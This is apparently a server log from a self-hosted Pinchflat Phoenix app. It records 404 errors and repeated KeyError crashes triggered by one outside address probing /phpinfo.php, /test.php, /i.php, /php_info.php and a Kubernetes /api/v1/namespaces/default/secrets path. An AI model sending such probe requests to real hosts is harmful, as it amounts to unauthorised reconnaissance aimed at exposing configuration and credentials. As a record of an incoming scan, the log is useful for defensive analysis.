"GJMAgpp8SpEjy-YACMzh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21699.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/phpinfo.php", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37484}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21699.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/phpinfo.php", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37484}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21700.0>, params: %{}, path_info: ["phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/phpinfo.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgpp8SpEjy-YACMzh"} ], scheme: :http, script_name: [], (truncated) 15:40:39.560 [info] GET /test.php 15:40:39.560 [debug] QUERY OK source="settings" db=0.1ms idle=366.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:39.560 [debug] QUERY OK source="settings" db=0.0ms idle=248.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:39.560 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:39.560 [error] #PID<0.21702.0> running PinchflatWeb.Endpoint (connection #PID<0.21701.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /test.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /test (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21701.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/test.php", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37496}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21702.0>, params: %{}, path_info: ["test"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/test.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgqKVQuW0a5cABcYi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21701.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/test.php", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37496}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /test (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21701.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/test.php", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37496}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21702.0>, params: %{}, path_info: ["test"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/test.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgqKVQuW0a5cABcYi"} ], scheme: :http, script_name: [], secret_key_base: :..., (truncated) 15:40:39.674 [info] GET /i.php 15:40:39.675 [debug] QUERY OK source="settings" db=0.1ms idle=363.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:39.675 [debug] QUERY OK source="settings" db=0.1ms idle=250.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:39.675 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:39.675 [error] #PID<0.21704.0> running PinchflatWeb.Endpoint (connection #PID<0.21703.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /i.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /i (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21703.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/i.php", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37506}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21704.0>, params: %{}, path_info: ["i"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/i.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgqlq3lcvq9YABcZC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21703.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/i.php", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37506}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /i (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21703.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/i.php", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37506}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21704.0>, params: %{}, path_info: ["i"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/i.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgqlq3lcvq9YABcZC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, (truncated) 15:40:39.787 [info] GET /php_info.php 15:40:39.787 [debug] QUERY OK source="settings" db=0.1ms idle=362.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:39.788 [debug] QUERY OK source="settings" db=0.0ms idle=227.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:39.788 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:39.788 [error] #PID<0.21706.0> running PinchflatWeb.Endpoint (connection #PID<0.21705.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /php_info.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /php_info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21705.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/php_info.php", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37520}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21706.0>, params: %{}, path_info: ["php_info"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/php_info.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgrAh_TuR9hIACM0B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21705.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/php_info.php", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37520}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /php_info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21705.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/php_info.php", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37520}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21706.0>, params: %{}, path_info: ["php_info"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/php_info.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgrAh_TuR9hIACM0B"} ], scheme: :http, script_name (truncated) 15:40:39.964 [info] GET /api/v1/namespaces/default/secrets 15:40:39.964 [debug] QUERY OK source="settings" db=0.1ms idle=403.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:39.964 [debug] QUERY OK source="settings" db=0.0ms idle=289.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:39.964 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:39.964 [error] #PID<0.21708.0> running PinchflatWeb.Endpoint (connection #PID<0.21707.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /api/v1/namespaces/default/secrets ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/v1/namespaces/default/secrets (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21707.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/v1/namespaces/default/secrets", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37530}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21708.0>, params: %{}, path_info: ["api", "v1", "namespaces", "default", "secrets"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/api/v1/namespaces/default/secrets", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgrqoHvJc634ABcZi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: 